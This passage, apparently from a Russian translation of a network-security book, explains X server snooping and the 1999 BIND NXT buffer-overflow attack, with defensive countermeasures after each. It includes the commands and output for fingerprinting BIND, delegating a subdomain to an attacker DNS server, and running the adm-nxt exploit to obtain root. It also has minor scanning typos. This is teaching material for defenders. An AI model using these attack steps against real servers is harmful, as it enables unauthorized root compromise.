Теперь, чтобы увидеть копию экрана, просто скопируйте файл на свой компьютер, воспользовавшись утилитой xwud.
 [tsunami]# xwud -in dump.xwd
На этом перечень возможностей взломщика далеко не исчерпан. Он может, например, просто связать эмулятор клавиатуры KeySym с требуемым окном. После этого нажатия клавиш на клавиатуре злоумышленника будут отправляться программе xterm удаленной системы и обрабатываться так, как если бы они вводились на локальной клавиатуре этой системы.

Рис. 8.3. С помощью утилиты XWatchWin можно удаленно просмотреть окно практически любого приложения рабочего стола

Контрмеры: защита системы X

Сделайте все возможное, чтобы избежать использования команды xhost +. He ленитесь, помните о безопасности! Если вы не можете пойти на столь радикальные меры, тогда хотя бы применяйте команду xhost -, которая запрещает новые подключения, однако позволяет функционировать уже имеющимся. Если вы должны разрешить удаленный доступ к вашему Х-серверу, обязательно указывайте IP-адрес каждого сервера, которому разрешен доступ. Никогда не забывайте о том, что любой пользователь такого сервера может скрытно подключиться к вашему Х-серверу. Среди других мер по обеспечению безопасности можно выделить применение более серьезного механизма аутентификации, такого как MIT-MAGIC-COOKIE-1, XDM-AUTHORIZATION-1 и MIT-KERBEROS-5. Эти механизмы обеспечивают довольно высокий уровень защиты при подключении к Х-серверу. Если вы используете программу xterm или аналогичный терминал, включите режим Secure Keyboard. Это позволит запретить любому процессу перехватывать нажатия клавиш. Кроме того, подумайте о том, чтобы блокировать доступ извне к портам 6000-6063 на уровне брандмауэра с целью запретить несанкционированным пользователям подключаться к портам Х-сервера. И наконец, воспользуйтесь защищенной оболочкой ssh и ее возможностями по повышению уровня защиты сеансов X. Убедитесь, что в файле sshd_config или sshd2_config для параметра ForwardXll установлено значение yes.

Атаки на систему DNS

DNS является одной из наиболее популярных служб, используемых в Internet и большинстве корпоративных интрасетей. Как и следовало ожидать, такое широкое распространение службы DNS оказалось одной из причин многочисленных атак на эту систему. Взломщики постоянно пытаются воспользоваться слабыми местами одной из наиболее стандартной реализации службы DNS системы UNIX— пакета BIND (Berkeley Internet Name Domain). Кроме того, DNS является одной из нескольких служб, которые практически всегда оказываются необходимыми и функционируют по всему периметру корпоративной сети, обеспечивая доступ к Internet. Таким образом, любая ошибка службы DNS практически всегда приводит к возможности удаленного проникновения (зачастую с привилегиями root). В одном из отчетов по вопросам безопасности, который был опубликован в 1999 году и взбудоражил общественное мнение, сообщалось, что более 50% всех соединенных с Internet серверов DNS уязвимы для атак взломщиков. Так что подобная опасность абсолютна реальна. Соблюдайте осторожность!
Несмотря на то, что с пакетом BIND связано множество проблем обеспечения безопасности (http://www.cert.org/advisories/CA-98.05.bind_problems.html), мы сфокусируем все внимание на одной из последних и наиболее разрушительных атак. В ноябре 1999 года координационный центр CERT выпустил информационный бюллетень, в котором сообщалось о нескольких серьезных изъянах, обнаруженных в пакете BIND (http://www.cert.org/advisories/CA-99-14-bind.html). В Нем сообщалось о шести изъянах, среди которых наиболее опасным было удаленное переполнение буфера, возникающее при проверке пакетом BIND записей NXT. В результате переполнения буфера взломщик может выполнить на удаленном сервере любую команду с привилегиями root. Попробуем разобраться с основными принципами такой атаки.
Для идентификации уязвимого сервера, на котором запущена программа named. большинство взломщиков прибегают к средствам автоматизации. Для того чтобы определить, имеются ли на вашем сервере DNS потенциально слабые места, необходимо провести дополнительную инвентаризацию.

[ tsunami]# dig
(§10.1.1.100 version.bind chaos txt
«» DIG 8.1 «» 010.1.1.100 version.bind chaos txt
(1 server found)
res options: init recurs defnam dnsrch
got answer:
-»HEADER«- opcode: QUERY, status: NOERROR, id: 10
flags: qr aa rd ra; QUERY: 1, ANSWER:
1, AUTHORITY: 0, ADDITIONAL:
QUERY SECTION:
version.bind, type = TXT, class = CHAOS
ANSWER SECTION: VERSION.BIND. OS CHAOS TXT"8.2.2"

В приведенном фрагменте для определения используемой версии службы DNS демону named передается соответствующий запрос. Сейчас стоит еще раз подчерктть важность процесса предварительного сбора данных. В рассматриваемом примере на целевом сервере DNS используется программа named версии 8.2.2, которая уязвима для атак NXT. Для этой же атаки оказываются уязвимыми также версии 8.2 и 8.2.1 этой программы.
Для проведения такой атаки взломщик должен контролировать сервер DNS, связанный с удаленным доменом. На этом сервере DNS взломщику необходимо также создать поддомен, связанный с его собственным доменом. В данном примере предполагается, что сетью взломщика является attackers.org, поддомен называется hash и сервер DNS запущен на узле с именем quake. В данном случае взломщику необходимо добавить в файл /var /named/attackers, org. zone узла quake следующую запись, а затем перезапустить программу named с помощью интерфейса ndc.
subdomain  IN  NS hash.attaokers.org.
Помните о том, что сервер DNS, контролируемый взломщиком, запущен на узле quake.
После компиляции утилиты взлома, созданной группой ADM (http: //packet storm.securify.com/9911-exploits/adm-nxt.с), ее нужно запустить с отдельного узла (tsunami), имеющего корректную архитектуру. Поскольку программа named используется в многих версиях UNIX, то утилитой adm-nxt поддерживаются следующие архитектуры.

[tsunami]# adm-nxt
Usage: adm-nxt architecture [command]
Available architectures:
1: Linux Redhat 6.x - named 8.2/8.2.1 (from rpm)
2: Linux SolarDiz's non-exec
stack patch - named 8.2/8.2.1
3: Solaris 7 (Oxff) - named 8.2.1
4: Solaris 2.6 - named 8.2.1
5: FreeBSD 3.2-RELEASE - named 8.2
6: OpenBSD 2.5 - named 8.2
7: NetBSD 1.4.1 - named 8.2.1

После проведения предварительного сбора данных с использованием утилиты шпар стало известно, что на удаленном узле используется система Red Hat 6.x. Таким образом, для утилиты adm-nxt необходимо задать режим 1.
[tsunami]# adm-nxt 1
После запуска утилита adm-nxt свяжется с UDP-портом 53 узла tsunami и будет ожидать установки соединения с уязвимым сервером имен. На этом узле не нужно запускать реальный сервер DNS, в противном случае утилита adm-nxt не сможет связаться с портом 53. Не забывайте о том, что работа утилиты adm-nxt основывается на наличии целевого сервера имен, соединенного (или запрашивающего) с ложным сервером DNS, который на самом деле представляет собой утилиту взлома, прослушивающую UDP-порт 53. Как же взломщик может это реализовать? Очень просто. Для этого достаточно передать целевому серверу DNS запрос на получение некоторых данных с использованием команды nslookup.

[quake]# nslookup
Default Server:localhost.attackers.org
Address: 127.0.0.1
> server 10.1.1.100
Default Server: dns.victim.net
Address: 10.1.1.100 >
hash.attackers.org
Server: dns.victim.net
Address: 10.1.1.100

Как видно из приведенного листинга, взломщик запустил команду nslookup в интерактивном режиме на отдельном компьютере, находящемся в его полном распоряжении. Затем он перешел от использования сервера DNS, заданного по умолчанию, к
серверу-жертве с адресом 10.1.1.100. И наконец, взломщик запросил у взламываемого сервера DNS адрес поддомена hash.attackers.org. Это, в свою очередь, приведет к тому, что сервер dns.victim.net сгенерирует запрос к ложному серверу DNS, который прослушивает USP-порт 53. Как только целевой сервер установит соединение с узлом tsunami, на узле dns.victim.net утилитой adm-nxt будет сгенерировано переполнение буфера, в результате чего взломщик получит неограниченный доступ с привилегиями root, как показано ниже.

[tsunami]# t666 I
Received request from 10.1.1.100:53 for hash.attackers.org type=l
id
uid=0(root) gid=0(root) groups=0(root)

Контрмеры: защита службы DNS

Первое и самое главное — отключите и удалите пакет BIND на всех узлах, которые не используются в качестве сервера DNS. Во многих версиях системы UNIX (особенно Linux) программа named автоматически запускается при начальной загрузке компьютера, несмотря на то, что она никогда не используется. Во-вторых, удостоверьтесь в том, что используется текущая версия пакета BIND, в состав которой входят модули обновления подсистемы защиты (www.bind.org). В-третьих, запускайте программу named с правами непривилегированного пользователя. Другими словами, программа named должна запускаться с привилегиями root только для связывания с портом 53. После этого эти привилегии нужно понизить с использованием параметра -u (named -и dns -g dns). И наконец, программа named должна запускаться с использованием параметра -t из среды chrooted() (named -u dns -g dns -t /home/dns). Это поможет предотвратить попытки взломщика, связанные с обходом файловой системы и в том случае, если им был получен доступ. Даже если все перечисленные меры защиты решат поставленную задачу, не стоит успокаиваться на достигнутом. Безопасности сервера DNS необходимо постоянно уделять самое пристальное внимание.